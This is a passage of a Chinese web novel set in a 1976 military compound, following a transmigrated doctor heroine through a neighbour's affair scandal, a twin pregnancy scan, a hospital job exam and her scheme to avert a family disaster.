众人小声议论,李大山这也算是出大血了。
“八百块,一分不能少。”
张治国眸子死死盯着李菊花的肚子,唇角挂一抹冷笑。
众人都当他醉**,其实他是酒醉人不醉,心里清楚着呢。
赵医生那句话像根刺扎在了他的心里,李大山带着李菊花去医院检查,两个人亲密地像两口子。
他火大抱不住,打了李菊花一顿,一心想打死这个**,弄死她肚子里的野种。
可是李大山来了,拉着他去喝酒,几句话说的他心里又活动了。
李大山说,
“治国啊,你可不能听外人说几风凉话,你就怀疑我。”
“治国啊,这些年,我啥事不帮着你家。我可是菊花的堂哥。。”
“治国啊,那天我开车送货,在路上遇到菊花的。她说你上班没法请假陪她去医院,她肚子疼的走不动,我能把她扔路边吗?”
“治国啊,这些年,你自己说
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说,我是不是一直拿你当亲弟弟待。咱哥俩啥关系,我能干对不起你的事吗?”
“治国啊,你两口子生了三闺女,好不容易这次菊花怀了个儿。人家看你有儿了,眼气,这才说闲话,你也信?”
“治国啊……”
李大山说的言真意切,又一个劲给他倒酒夹菜。
说他家住李菊花隔壁,他小时候顽皮被大马车架压下面了,快翻白眼的时候,被路过的李菊花爹救了。
他得报菊花爹的恩情,他能不对菊花好吗?
张治国心里那点子怀疑,被说的全没了,两人一边喝一边互相叫着兄弟哥的。
万万没有想到,这个李大山从头到尾都在骗他。
张治国心里冷笑,你李大山看不起我是吧?嘴里兄长弟短,暗里偷我后院。
还有这些看热闹的姑娘媳妇子,这里面有多少人是知道内情的,都瞒着他是吧?
“不给,一分都不给。”
大山媳妇似乎被八百块惊了一下,回过神来。
“还八百块,八**都不给,你这就是讹人。”
“我讹人?”
张治国嘴角扯了一下,半边脸似笑非笑,他不看大山媳妇,只盯着李大山的眼睛,
“我家那头牛当时能卖六百块。”
“这和你家牛有啥关系?你少扯,我孩子打伤你孩子,我赔你二十块钱。”
大山媳妇这会子神智完全回笼,一手拉着孩子,另一只手就去拉李大山,
“走,咱回家。”
大山媳妇心里乱急了,她生宝珠身体受损,再加上年纪大了,医生说她不能生了。
如果真像闺女说的那样,李菊花肚子里怀的孩子,是她男人的,还是个儿子。
那她怎么办?男人要是走了,她成了没有男人的寡妇,以后在大院咋着活?
闺女成了没爹的孩子,闺女以后怎么上学?怎么结婚?
她一心只想着,赶紧带男人回家。
至于别的事,她得去找她舅,让她舅去管李大山。
张治国嘲讽地看了一眼大山媳妇,
“嫂子,六百块钱是一头大牛的钱,小牛一头二百,一共八百块钱,我一分也没问你家多要。”
第39章 哪个男人能受得了
啊!
大山媳妇气的脸色涨红,嘴张了几张,气的浑身哆嗦,冲上去就要撕烂张治国的嘴。
“你喝多了点猫尿,就胡说八道,看我不—撕——”
啪,
李大山扬手狠狠打了媳妇一个耳光,打得大山媳妇怔在当场。
“人家瞎哔哔,你也跟着瞎哔哔。”
李大山恶狠狠瞪着媳妇,
“咱家闺女惹的祸,咱不赔钱哪能行。你给我闭嘴,你这个蠢货,你非要闹出人命,把咱闺女毁了,你才好受吗?”
一提到闺女,大山媳妇被捏住了软肋,不敢闹了。
“治国,看你说啥气话。你要八百,我给你。”
李大山又转头冲着张治国微笑,
“咱先把你闺女送医院,孩子还小,腿要是瘸了,就毁了孩子一辈子。”
张治国不说话,目光漠然地扫过媳妇闺女,
最后他目光落到李大山手腕上。
李大山嘿嘿一笑,伸手撸下手表。
他这块欧米茄男式手表,价值500元,是他两个月前,到海市送货,通过特殊渠道买的。在这军区可是独一份。
张治国接过手表,装到口袋里,转身就走,
“剩下三百,明天给我。”
没看李菊花一眼,也没看他闺女一眼。
李大山弯腰抱起李菊花,冲着他媳妇骂,
“我抱大的,你抱小的。”
看他媳妇没动,又骂了一句,
“祸是咱闺女惹出来的,你还不动,真想毁了咱闺女一辈子吗?”
大山媳妇这才弯腰抱起大花,跟在李大山身后,表情木然地往外走。
“妈——”
李宝珠叫一声,看她妈没回头,也没回一声,赶紧一瘸一拐地追上去。
林子里的人,这时候才像被解了封印一般,拉着孩子,说着话散开。
路上,张秋月看苏圆圆推着轮椅子,一直没说话。以为她还在想大花的腿,安慰她说,
“圆圆妹子,你不要太操心别人。阎王难救作死的鬼,谁作的谁受着。以后她闺女腿瘸了,恨她一辈子,她也怨不着别人。”
苏圆圆点头,思绪还沉在刚才两个男人无耻的操作中。
心想着,不是说六七十年代的人都很纯情吗?
瞧瞧,这两男人岂不是比现代男人玩的还花!
“秋月嫂子,他们会离婚吗?”
“自家媳妇肚子里怀着别人的种,哪个男人能受得了!”
张秋月撇嘴,
“你别看张治国平时人挺闷的,除了打媳妇,喝酒,没啥大本事。我觉得他绝容不下李菊花肚子里的孩子。”
苏圆圆回想着原书的情节,李菊花肚子里的孩子最后是没生下来。
可是,啥时候没的?谁给弄没的。
她咋都想不起来这些细节。
张秋月叹口气,打开了话匣子:
“唉,这些大人造的罪,都要孩子受了。”
“虽说孩子是无辜的,可那毕竟不是自己的种。可不是哪眼看哪眼烦吗?”
“说不定张治国哪天喝醉了,一脚就给她踹掉了。”
“老人都说七成八不成,这李菊花肚子八个月了,这时候弄不好早产,孩子还真活不成。”
苏圆圆点头,要是早产八个月的孩子,在现代放保温箱里能活。
但这可是七十年代,医疗条件差,真出事早产的话,大人孩子都有可能活不成。
“唉,这事吧。”
张秋月叹气,
“说来说去,还是都怪李菊花不检点。怀个野种还不苟着,还敢在男人眼皮子底下晃,你说说,哪个男人能忍得了?”
就是就是,苏圆圆连连点头,脸色越发难看。
唉,李菊花肚子里的孩子,在书中注定是要死的。
可是,让她眼睁睁看着一条小生命消失,她啥也不做,这实在是……
“圆圆,你别怕。你是我媳妇,你生的孩子就是我的。”
霍战北突然出声。
哦?
苏圆圆一低头,正好看到霍战北看着她的脸色,一副若有所思的样子。
张秋月?
她觉得,她好像说错话了!
阳光洒在医院走廊,检查室里却一片紧张。
“赵医生,你快来看看,这看起来像——”
年轻的B超医生一脸紧张。
七十年代医疗设备落后,他们整个军区也就只配了这一台B超机子。
资源紧张,有病要看B超不容易,得凭介绍信预约。
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一般都是重病患者才用。普通孕妇检查没有做B超的。
年轻的B超医生是个年轻男同志,他可不敢单独给孕妇做检查。
所以他坐在设备前,中间拉着一个布帘,做检查的是专门从妇产科,叫过来的赵夏至医生。
“咋了,我儿媳妇咋了?没事吧?”
温**一直站在旁边,紧张地搓手。
她呆在这里,觉得自己啥忙也给儿媳妇帮不上。
就和战北爸爸打电话商量,找了医院秦院长。
秦院长不但是战北爸爸的同学好友,以前还是老爷子的兵。
都是自己人,温**找秦院长批了个B超条子
郑好推着霍战北去做检查,她带圆圆来做B超。
“这好像是——”
赵医生看着图像显示,眉头皱起来,一脸为难。
这是双胞胎啊!
这事要是放在普通孕妇身上,那是天大的喜事。
这床上躺的可是霍团长媳妇,旁边站的是霍团长亲妈。
霍团长绝嗣众所周知,这胖姑娘揣崽千里寻夫,这事在家属院都传好几个版本了。
揣着别人的崽子赖到霍团长身上也就罢了,这会子她要再说,这胖姑娘肚子里揣的是两个崽?
赵医生头大。
昨天就因为她多一句嘴,李菊花一家乱成了一窝粥。
到这时,李菊花还正躺在她们妇产科保胎,闺女大花的手术方案还在讨论,瘸几乎就算确定了。
“医生,你们说就是了,我儿媳妇到底咋了?还是我儿媳妇肚子里的孩子?”
温**不敢往下问了。
她害怕,她们霍家好不容易盼到的宝贝孙子,万一……
“我儿媳妇肚子里的孩子,可不能有事。我们霍家可是三代单传啊……”
温**絮絮叨叨,一点也不像平时言简意赅的历史系教授。
三代单传?
赵医生听得一脸心虚的表情。
两个女的争当霍团长媳妇,霍团长不要海市来的漂亮娇小姐,居然挑了这个揣着别人崽子的胖姑娘当媳妇。
大家都说霍团长就是霍团长,果然与众不同。
可这霍团长的亲妈,明知自己儿子绝嗣,怎么还能说出这样的话呢?
第40章 我有药专门治不孕
“赵医生,你看到啥,直接说就行。”
苏圆圆又不傻,看着赵医生一脸为难的表情,立马猜到她纠结啥。
赵医生又看了一眼温**。
“是的,赵医生,我们家战北爸爸就是医生。有啥事,你只管直说。缺啥我去找秦院长。”
赵医生点头。
心想,万一真有啥事,上面还有秦院长顶着呢。
“根据B超来看,是两个孩子,已经孕23周,发育情况良好。”
“两个孩子,真的是两孩子?”
温**高兴地捏着苏圆圆的手,
“太好了,圆圆,真和你说的一样,是两个孩子。这一下子就打破了我们霍家三代单传的魔咒。圆圆啊,你可真是我们霍家的大功臣啊!”
“妈,我不是给你说了吗。我爷爷把的脉,说我肚子里怀的是两孩子,那就绝对不会错。”
“是的,你爷爷真不愧是御医后人,真厉害。”
温**看着苏圆圆的肚子,笑得合不拢嘴。
她抬头看向赵夏至,
“赵医生,你再给仔细看看,是不是一男一女,龙凤胎?”
赵夏至和B超医生交换了一下眼神,心想,还真是龙凤胎。
“妈,我奶奶帮我看过肚子了,凭她接生几十年的经历,她说是龙凤胎,那也绝对不会出事。”
苏圆圆一脸骄傲地说,
“妈,你看吧。我说我爷爷把战北的病治好了,你还不信?”
老中医把脉定双胎?
接生婆看肚子判男女?
这都抵不上赵医生听到苏圆圆最后那句话,心里来得惊骇。
啥?
霍团长绝嗣的毛病被治好了?
赵夏至心里一阵激动,
“是一男一女龙凤胎。”
她也顾不上冒犯了,
“冒昧问一句,霍团长家的,你爷爷真能治好不育不孕的病?”
咦?
苏圆圆看了一下两眼冒光的赵夏至。
原书里这位赵医生就是个工具人,一笔带过的角色。赵医生的情况,她自然是一点也不知道。
“你问这——”
“我有个私事,霍团长家的,我想单独和你谈一下。”
“你太客气了,有啥事,只要我能帮上忙的,你尽管问。”
“那真是太谢谢你了。”
眼看儿媳妇检查好了,一切都好。温**欢喜地笑眯了眼,
“那好,赵医生,我儿媳妇就交给你照顾一会。我出去打个电话。”
……
三分钟后,在赵夏至私人办公室。
“霍团长家的,我有一件事,不知该咋说才好。”
赵夏至搓着手,一脸的窘相。
“赵医生别客气,你想问啥,就直接说。”
苏圆圆坐在椅子上,那语气,那神情,一瞬间,赵夏至有一种错位的感觉,觉得苏圆圆才是医生,而她是患者。
“霍团长家的,我先介绍一下我自己。我叫赵夏至,是这医院妇产科医生,我男人是霍团长手下的一个连长。”
赵夏至红着脸,把她的情况和问题一一说了。
苏圆圆一边听,一边点头。
哦,原来这位赵医生今年36了,结婚十年,都没孩子。
她作为一名妇产科医生,天天给别人接生孩子,自己却不生育。
“我男人是很爱我,说即使我一辈子不生,他也不会和我离婚。实在不行,我们就抱养一个。”
赵夏至苦笑,
“可我自己喜欢孩子,我想要生一个属于我们两个人的孩子。这十年,我没少看医生,也没少吃药打针。”
赵夏至拍拍她的身子,让苏圆圆看,
“这就是吃药的副作用,我才36岁,吃药吃得像个46岁的。再苦再难再丑我也不怕。可是,十年了,还是一点动静也没有。”
赵夏至殷切地看着苏圆圆,
“霍团长家的,我能跟你回家,请你爷爷给我看看吗?”
苏圆圆此时心里尖叫,太好了。我正想怎么在这个时代赚钱呢?
这不,机会立马送上门来了。
赵夏至是医生,要是能治好她的毛病,以后通过她的介绍,什么美白嫩肤丸啊,好孕丸啊,治疗男子不育丸啊……
靠着这些,她以后岂不是要发了。
苏圆圆笑了,
“我自小跟着我爷爷学医,我可以先给你把个脉看看。对了,你别叫我霍团长家的,直接叫我圆圆就行。”
“那真是太谢谢你了,圆圆。”
苏圆圆本身就是现代医学博士,原身在乡下,的确也跟着她爷爷学了一些中医皮**。
苏圆圆给赵夏至细细把了脉。
“你再说说你的症状。”
把完脉,再听赵夏至说了她的情况,苏圆圆点点头,
“你这是宫寒加输卵管堵塞。我
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打个电话,和我爷爷商量一下,给你定个方子,让家里寄药过来,你吃着看看。”
赵夏至犹豫了一下,
“圆圆,我这种情况,还能治好吗?”
苏圆圆肯定地点头,
“我保证,你这种情况我爷爷看的多了。绝对没问题。我估计吃三个月的药就会见效。最迟不过半年,包你好的。”
说到这里,苏圆圆又往前凑了凑,
“赵姐,你想要双胞胎不?我爷爷那也有让人怀双胎的药方。”
啊?
赵夏至脸一下子红了,连连摆手,
“我这辈子能有一个自己的孩子,都是老天爷的恩赐了,我可不敢想,像你一样双胎。你是有大这福气的。”
“嗯,赵姐你说对了。我可是我们家乡十里八村有名的好孕女。”
“好孕女?”
“对,我打小就吃我爷爷配的药,你看看,我这身皮肤就是用的美白嫩肤方子。我容易怀孕,就是吃的改善体质,容易怀孕的方子。”
苏圆圆脸上一副喜相,其实心里暗暗吐槽。
她真心不理解这七十年代人的想法,苏家老爷子宠爱孙女的方式,真是让她一个现代人接受不了。
宠爱孙女不是应该给她钱,给她爱吗?就像她婆婆疼她一样,直接大手笔甩钱。
苏家老爷子倒好,一个劲地让孙女皮嫩身娇,再加上什么容易怀孕的体质。
不理解,完全不能理解。
“真的,你爷爷太厉害了。”
“当然厉害了,我们苏家祖上可是御医出身。听我爷爷说,我们祖上在宫里就是专门伺候那些娘娘们的。什么美容啊,易孕啊,最擅长的就是这些方面。”
苏圆圆想到,家里给她寄的那些大大小小的药包,
“我爷爷给我寄了不少药,有刚生的小娃吃了强身的,还有减肥的,对了,还有生过孩子以后产妇抹的,能修复产后损伤,让你秒回最初的。”
苏圆圆挤了挤眼睛,一副你懂得的表情。
“那真是太好了,不瞒你说。圆圆,这些年我偷偷在外面看了好多医生,也认识了好多和我一样的姐妹。”
赵夏至眼圈红了,
“要是我真能治好,我也介绍她们去找你爷爷。”
她们?
好多?
苏圆圆仿佛看到许多钱,长着翅膀向她飞来,笑得眼睛几乎看不见了。
第41章 燕子不是你儿媳妇吗
真是刚想瞌睡就有人送枕头。
苏圆圆和霍战北谈和以后,她就一直在想,自己生下孩子以后,在这里能干什么?
她一个医学博士,外科医生,自然是做回老本行最好。
可现在是1976年,很多工种,还是接父母的班。或者组织上安排。
参加高考,分配工作那种公平自由的方法,还得要等到明年1977年恢复高考,才能开始。
现在,她打通了赵夏至这条线,嗯,光靠这个,直到明年高考前,她应该也能挣到不少钱。
嘿嘿,苏圆圆无比庆幸,她穿到了七十年代,这个时候,农村老中医还是可以随时给人看病的,不像现代社会,必须得要证才能给人看病。
“对了,圆圆,你刚才说有产后修复吃的药?”
赵夏至低声说,
“我们产科有一个产妇昨天刚生了一个娃,是早产,娃体质弱的很。”
“那你带我去看看,要是对症,我把家里的药包先给小娃用。我再让我爷爷寄,反正我还有三四个月才能生。”
……
另一边,温**正在给男人打电话。
“双胞胎,咱儿媳妇怀的真是双胞胎。”
“真的吗?做了B超了吗?”
“做了,就照你说的,找老秦开了个条子,刚才做了,是龙凤胎,大人孩子都健康。”
温**喜得握着电话,连声向男人报喜。
“那真是太好了。你上次打电话,我就给老爷子说了,咱战北的病被一个老中医治好了,老中医还把他孙女许给咱战北当媳妇了。”
霍爸笑声爽朗,
“咱妈一听欢喜地很。闹着非要来部队看孙媳妇。老爷子嘴上不说,天天在屋里收拾他的那些东西,说要送给孙媳妇当见面礼。”
“嗯,你回头到家,别说怀了龙凤胎。先给咱妈说孙媳妇怀上了。让她慢慢给老爷子说。”
“是的,臭小子病好了,娶上媳妇了。老爷子这几天在大院里,见着他几个老战友,老腰挺得直直的,天天和人说,他要去看孙媳妇去。”
霍爸一想到这几天,整个霍家都笼在幸福中,因为战北的病,压了他们霍家许多年的乌云,一下子就全散了,
“等我回去,再说咱儿媳妇怀上了。我觉得,老爷子一定压不住。立马就得命令我买车票,来部队看他重孙子。”
霍爸想了想,
“我明天还有一台手术,等做完,我就买票,带二老去。**啊,你好好照顾咱儿媳妇。我再去学校给你请个长假。”
温**有些尴尬,
“老霍啊,你说这个事,我得和你商量一下。这几天,我一心想好好照顾咱儿媳妇。可是,你也知道。我饭也做不好,衣裳也洗不好。”
温**一脸挫败感,
“这两天我吃不好睡不好,一直在想这个事。老霍啊,要不,咱找个人给咱儿媳妇做饭洗衣裳收拾家务。”
“嗯,**,你要不说,我光顾着高兴,倒把这事给忘了。”
霍爸嘿嘿,他媳妇只会做学问,嫁进霍家从没做过家务,也不会做饭。
“你在那边找个人,要是你不方便找,你就找老秦或者老张,让他两帮你找一个。”
温**直点头,
“嗯,我也是想的,我现在就用老秦办公室电话,给你打的。他就在外间,我这就去找他问问咱儿媳妇工作的事,顺便让他帮着再找个人。”
刚想要挂电话,又想到一件重要的事,
“老霍,你来的时候,别忘了多拿些钱和粮票。咱儿媳妇最喜欢这个。还有一件事,你再托托人,京市海市,能搞到多少好东西,到时候办婚礼的时候,都给咱儿媳妇送来。”
两口子又开心地唠起,儿媳妇肚子里孩子的事。
外间坐着办公的秦院长,听着温**一会哈哈笑一阵,一会又犯愁的说这说那。
秦院长认识温**两口子三十年了,还是第一次见到温大教授这么鲜活的样子。
“老秦!”
温**挂了电话,走到外间。
“我们家老霍说,这个忙你帮也得帮,不帮也得帮。”
“嫂子,你看你这话说的。我和青云比亲弟兄还亲。啥帮不帮的,你说这话太外气了。”
“老秦,这话可是你说的。你也知道我儿媳妇来随军了,她还怀了孩子。”
“嗯。”
秦院长点头,这事他知道啊,温**来找他开条子,要
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给她儿媳妇做个B超。
霍家三代单传,本就子嗣不旺。偏战北这孩子还得了绝嗣的毛病。
他们这些和霍家交好的人家,这些年没少为了这事发愁。
大江南北的医生都找遍了,也没能治好战北这孩子的病。
没想到,天不绝霍家。战北这孩子的病不但治好了,还和燕丫头重修旧好,如今连孩子都怀上了。
真是天大的喜事。
嫂子这话说的?
咋得,难道孩子有啥不好?
秦院长脸色一下子郑重起来。
刚才燕丫头来找他的时候,明明好好的,怎么才这一会功夫,就不好了呢?
“那个老秦啊,你看我儿媳妇要随军,就得给她安排个工作。”
“嗯,嫂子,这事我知道。我都给安排好了。”
温**欣喜地看了一眼秦院长,
“老秦还是你周到。我还没开口,你倒是把事都办妥了。”
温**笑得哈哈的。
你看看,她只来找老秦开个B超条子,老秦就能提前想到,要把圆圆的工作给安排好。
“正好要安排一批随军家属工作,三天后就考试选拔。我已经给打了招呼。”
温**皱了下眉,
“老秦啊,你明知我儿媳妇是乡下来的,没上过几天学。你还让她来考试,你这是存心的吗?”
啊?
秦院长怔了一下。
不对啊,燕丫头明明是高中毕业,海市千金。嫂子这咋说什么乡下丫头呢?
难不成,他搞错人了?不可能啊!
“那个,嫂子。我问一下哈。咱战北娶的媳妇不是老夏家的燕子吗?”
“哎哟,不是。老秦,你忘了吗?夏千燕是和我们家战北定过亲。可几年前,我们霍家出事的时候,她毁婚回海市了。”
温**一摊手,他们霍家儿媳妇毁婚的事,大院里人谁不知道。也不是啥秘密。
“不是燕丫头回头来找战北,两孩子又和好了吗?”
秦院长不解,想起刚才在他办公室,和夏千燕的对话。
“秦伯伯,我来随军,你看这工作的事,还得请你帮忙。”
十几分钟前,燕丫头走进他办公室,说想请他帮个忙。
第42章 我要参加考试
“好好,你这孩子长大了,有心了。战北这些年过得也苦。但总算守得云开见月明。以后你们两好好过。”
秦院长连连点头,
“你婆婆还专门找我开了条子,给你检查身体。燕子啊,你以后可得好好跟着战北过,好好孝顺你公公婆婆。”
“秦伯伯,借你吉言。我也想和战北哥哥好好过一辈子。”
夏千燕心里一怔,婆婆开条子?
但她面上依然乖巧地说,
“秦伯伯,我在海市学的是护理专业。我就想进咱这医院,当个护士,跟在你身边多学习一下,好好护理战北哥哥,争取让他早点站起来。”
秦院长看着态度谦和的夏千燕,想着这丫头总算是长大了,懂事了。
能不嫌军区苦寒,从海市跑过来,还想着学习技术,护理战北。
多好的孩子!
“燕丫头,这次咱医院有两个名额。你放心,伯伯一定会帮你留在医院,留在战北身边。”
……
温**摇头,
“燕子前几天是来部队,找我家战北了,想要和好。”
“我就说嘛!”
秦院长松了一口气。
“我家战北可不是脚踩两条船的人。”
温**说,
“半年前,他已经和圆圆结婚了。如今圆圆肚子里都怀了我孙孙了。战北怎么可能会再招惹燕子。”
结婚了?
怀了孩子?
原来嫂子找他开条子,给儿媳妇做B超检查,说的不是燕子啊!
秦院长想到刚才见夏千燕的事,脸色有些不好看。
这个燕丫头,居然把算盘打到他头上来了?
“嫂子,那你儿媳妇是哪的人?你想给她找个啥工作?”
“皖省苏家村人,我来找你,当然是想让她进医院。”
“好说,我给你个表,三天后,你让她拿着表格来考试。”
秦院长一心想着,刚才自己认错人了,真是太不好意思了。
他拉开抽屉,拿出一个表格,
“这是咱医院的职工表格,只要圆丫头统一考试过了线,面试这一关,我给你挡了。”
温**一听就炸了,
“好你个老秦,我刚才都给你说了。我家圆圆是乡下来的,没上过几天学。你还说要她考试。你这是存心不想帮忙吧?”
秦院长看着面前这个发飙的女人,只觉得好陌生。
这还是那个高贵典雅的大学历史教授吗?
“嫂子,你自己都说了。你家儿媳妇是乡下来的,没上过几天学。字都不识几个,咱这医院里,我就是让她进来,她能干啥活啊?”
秦院长心想,瞧你这宝贝儿媳妇的劲,我要是让她进来干卫生,你们老霍家一准不愿意。
可她大字不识几个,我总不能让她进来当医生,当护士吧?
“嫂子,医院里的活,都是又脏又累的。你家儿媳妇还怀着孩子,倒不如你让她去供销社,那活又有面又轻省。年轻姑娘媳妇都喜欢。”
秦院长心想,大字不识几个,就是进了供销社,当个售货员,也算不好账,卖不好货。但总好过跑来医院干,医院可都是人命关天的活啊!
“老秦,你这话说的是真心的?”
温**不满地瞪了一眼秦院长,心里倒是认真思考上了。
老秦说的这话也没错。
医院里不管是当医生,还是当护士,对于圆圆来说,都太累太脏了。
倒不如去供销社当个售货员,又体面又轻省。
“老秦,照你这么说,我还得去找老张,让他去跑跑供销社那边。”
“嫂子,我给供销社主任打个电话吧。到时候,你让老张再给他打,两边都使劲。”
“就是,老秦,你可太会办事了。这样省得圆圆再去考试了。”
两人正说着话。
苏圆圆走了进来,
“妈,不要给我找。我可以参加三天后的考试。”
赵夏至送苏圆圆,来秦院长室找温**。
到门口,赵夏至告辞离开。
苏圆圆一进来,就听到她婆婆正和秦院长在说她工作的事。
苏圆圆想着,我堂堂一个现代医学博士,我去当啥售货员啊!
我得进医院,我要当医生,干我的老本行。
“圆圆啊,你秦伯说的对,这进医院,还得考试,活又累又脏。不如去当售货员,有吃有喝还有闲。多好。”
“妈,我可以考。”
“那个圆丫头,咱这医院录取考试,这一批有两名额,一个医生,一个护士。你要考护士,不但要有学历,还要会医理,或者护理知识。除了书面考试,还有当场实操。”
“谢谢秦院长费心了。”
苏圆圆盯着秦院长嘿嘿一乐,她可不像温**那样单纯,这个秦院长摆明了,就是想尽一
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切办法,不让她进医院。
“我们苏家是御医世家,我爷爷是老中医,奶奶是接生婆。我从小就跟在他们后面跑。读医书,做药包,看诊接生都会些。”
“可是?”
温**还是有些担心。
“妈,别担心,我能考上。”
苏圆圆看着秦院长,
“秦院长,你说的学历,是指学习的能力,不是毕业证书吧?”
苏圆圆心想,这可是特殊时期,不管是大中小学生,都没有几个能正常上学的,也没有哪个学校给人发毕业证。
“夏千燕说她是高中生,她也没有高中毕业证吧?”
秦院长有点尴尬,觉得这胖丫头脑子真和她外表完全不一样,太聪明了。
“夏千燕说她是学护理的,她也没有护士证吧?”
“老秦,你这?”
温**再迟钝,也感觉到了异样。
这个老秦,感情他这是嫌弃她家儿媳妇是乡下来的,没有学问啊!
“好,考,你来考。咱这医院就是缺有能力的年轻人嘛!”
秦院长嘿嘿,心里有苦说不出。
嫂子他得罪不起,战北新娶的这个小媳妇子,看起来比嫂子还厉害!
……
从秦院长办公室出来,两人去找霍战北。
一路上,温**唠叨不停,说她刚才咋没看出来,这个老秦办事一点也不实在。
看等她家老霍来了,她一准得告状,让老霍找他算账。
“妈,你说爸爸和爷爷他们也要来?”
苏圆圆头大,她现在这个样子,真有点丑媳妇不好见公婆。
这婆婆来就来了,咋的,公公和爷爷奶奶都要来?
“嗯,我刚才给你爸打电话。他说明天他做完那台手术,买票就带你爷奶来。”
温**看了一眼苏圆圆的脸色,给她解释说,战北爸爸明天的手术,是上面安排的,不能拒绝……
“妈,你刚才说爸明天要做一台啥手术?”
苏圆圆突然想到原书中,就有霍爸做手术的一个情节。
“只听你爸说一嘴,患者好像是个年轻女子,开阑尾炎。本来这样的小手术医院普通医生就能做。可上面打电话,非要你爸主刀……”
年轻女子?
阑尾炎小手术?
上面打电话指定霍爸主刀?
苏圆圆的脸色一下子变了。
她想起来了。
第43章 把婆婆忽悠瘸了
“妈,是什么人给爸打的电话?他啥身份啊,咋感觉比我们村的村长还牛呢?”
苏圆圆真想直接问婆婆,打电话的,是不是一个姓张的革委会主任?
苏圆圆记得原书中写过霍家,在这十年里,一共历经两次波折。
霍老爷子戎马一生,前几年那件事虽然波及到了霍家。
但上面特批,革委会的人眼皮子都是活的,事情很快平息。
但毕竟让一些人不痛快了。为霍家埋下了隐患。
这次医疗事故,就是个导火线,直接引爆了那些人对霍家的不满。
那个张主任以此为借口,带人去抄了霍家,革掉了霍爸霍妈的工作,批斗几场后,送往农场改造。
霍爷爷气的脑中风,霍奶奶受不了这个打击,一病去世。
在原书中,家庭突遭变故,霍战北深受打击,夏千燕利用这个机会,守在霍战北身边,趁霍战北喝醉,睡到了他的床上。
引得她这个原身——霍战北的乡下胖媳妇,在家属院大闹一场。
这时,夏千燕自己再出面澄清,说霍战北因家庭出事难过喝醉,她只是照顾他太累了,趴在床上睡着了而已。
两个人啥事也没发生。
这件事,让胖媳妇在家属院,以善妒出名,声名狼藉;反而推进了男女主的感情。
为后来夏千燕拿下霍战北,追夫成功奠定基础。
“还能是谁?当然是那个讨人厌的张主任了。这些年仗着手下有几个人,今天打倒这个,明天批斗那个。”
温**拍拍苏圆圆的手,
“这些都是上不得台面的小人,你爸自己会应付的,你别操心这些。再说了,只不过是一个阑尾炎小手术。”
苏圆圆心里急啊。
就是因为是个不起眼的小手术,所以才出了差子。
患者是个年轻的姑娘,张主任给霍爸打电话,说这姑娘是他一个远房侄女,在京市上大学。突然犯了病。
张主任说虽然是个小手术,但年轻姑娘都爱美,所以才想拜托霍爸这个外科圣手,亲自给做手术,到时候尽量缝口小一些。
谁知道这姑娘术后,护士护理不当,突发术后并发症,虽然抢救及时,命救回来了,但却流产了。
对,
这就是这个医疗事故最大的意外。
一个没有结婚的姑娘,做个阑尾炎手术,却流产了。
孩子是孕早期,姑娘自己都不知道。
但更狗血的是,这孩子的亲爸就是张主任。这姑娘根本就不是他什么远房侄女。
为了掩盖自己的罪恶,为了保住姑娘的名声。
那个张主任一口咬定,这就是医疗事故,手术不当引发的并发症,导致病人差一点死亡。根本没有什么护理不当,也没有什么孩子流产。
在所有证据中,最关键的证人,就是那个护理不当,导致出事的护士长。
她为了摘清自己,和张主任沆瀣一气。
苏圆圆揉了一下太阳穴,她记得那个护士长,好像就是夏千燕的妈。
“妈,有件事,我想和你商量一下。”
苏圆圆绞尽脑汁地想,她要用什么方法,才能说服婆婆,让她给公公打电话,别让公公接这个手术呢?
“你这孩子,一家人说啥商量不商量的。有啥事,你直接说。”
她说啥呀,苏圆圆真是头疼。总不能直接说,公公接了这个手术,会害惨整个霍家吧?
“嗯,妈,我说了你可不能笑话我啊。”
苏圆圆把大胖脸在婆婆身上蹭了蹭,捏着嗓子说话。
哎哟哟,为了霍家能躲开这个劫,为了她日后的幸福生活,她也算是豁出去了。
“你看你这孩子,说,你说啥妈都听。”
温**一辈子严肃认真,膝下只有霍战北一个儿子,天天一副生人勿近的表情。
哪里禁得住软嫩嫩的小姑娘撒娇,何况苏圆圆又天生嗓音甜腻柔媚。
“就是我前些天都睡不安稳,总做梦。”
“咋了,为啥睡不安稳,你哪里难受?是不是肚子里孩子哪里不好?”
温**一听就急了。
“就是总做噩梦,你说这做梦吧,也不是啥稀罕事。可是,我总做同一个梦。”
苏圆圆把她做的
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梦仔细说给温**听。
在梦里,有一个红衣姑娘,躺在病床上,一直在流血。旁边站着一个五十多岁的男医生,然后她就听到小孩子在哭。
“妈,我总做这个梦。我就非常害怕。我打电话回家,给我妈我奶听。我妈一听就急了,她和我奶去给老庙给我求了签。”
“啥签啊,有用吗?”
温**着急地手心出汗,她此时早忘了自己是个大学教授,一向不信这些的。
“是个大凶之签,我奶说求庙里主持给解的签。”
苏圆圆一脸正经,满嘴胡说,
“主持解梦说,哭的小孩子就是我肚子的孩子。他哭,是因为旁边站着的男医生是孩子的直系亲人,好像做了一个伤害红衣姑娘的事。导致红衣姑娘出事了。最后,男医生一家会出大事。”
苏圆圆看着温**一脸紧张,她心里想笑,又不敢笑,
“我妈和我奶奶打电话,一直交代我,让我告诉孩子的这个直系亲人,近三个月千万不要和名字里红的年轻姑娘有牵连。”
“哎哟哟,圆圆啊,你说你这肚子里的娃,莫不是个福娃。”
温**惊讶,
“你这一说,我倒想起来了。你爸明天要做手术的那个姑娘,好像就叫张啥红。”
温**看着前面再隔两个门,就要走到楚行止科室了。
郑好就推着战北在里面检查。
“圆圆,你先进去看战北。我去打个电话。给你爸说,明天那个姑娘的手术,千万做不得。”
“妈,你不嫌我多嘴吗?”
苏圆圆假装一脸不好意思,
“你不嫌弃我妈和我奶是乡下妇女,思想太封建了吗?”
“看你这孩子说的啥话。亲家妈和亲家奶奶,那是关心你和孩子。我的宝贝孙孙有灵性,这么小就知道关心他爷爷了。一会我给你爸说,你爸一准得乐死。”
温**急吼吼跑去打电话。
苏圆圆站在那里,望着温**的背影。
我这么会忽悠的吗?
几句话就把我那大学教授的婆婆忽悠瘸了吗?
……
第44章 别随便叫人家哥哥
十点钟的阳光,照在一个穿着白大褂的男人身上。
侧颜清俊,岁月静好。
夏千燕靠在桌前,看着静**着写病历的楚行止。
这个男人在外人眼里,那可是出了名的暖男,不管对病人,还是朋友,永远眉眼带笑、手稳心柔。
只有上一世陪他过了一辈子的夏千燕知道,一旦你突破了这个男人的底线,他会有多阴暗、多偏执、多可怕。
“楚——行止,这一次,你一定要帮我。”
这几天,夏千燕在心里做了许多建设,不停告诉自己,现在她还没有像上辈子那样嫁给楚行止,她们还只是发小关系,楚行止还是一个暖男。
但此时面对面,依然禁不住有些颤抖。
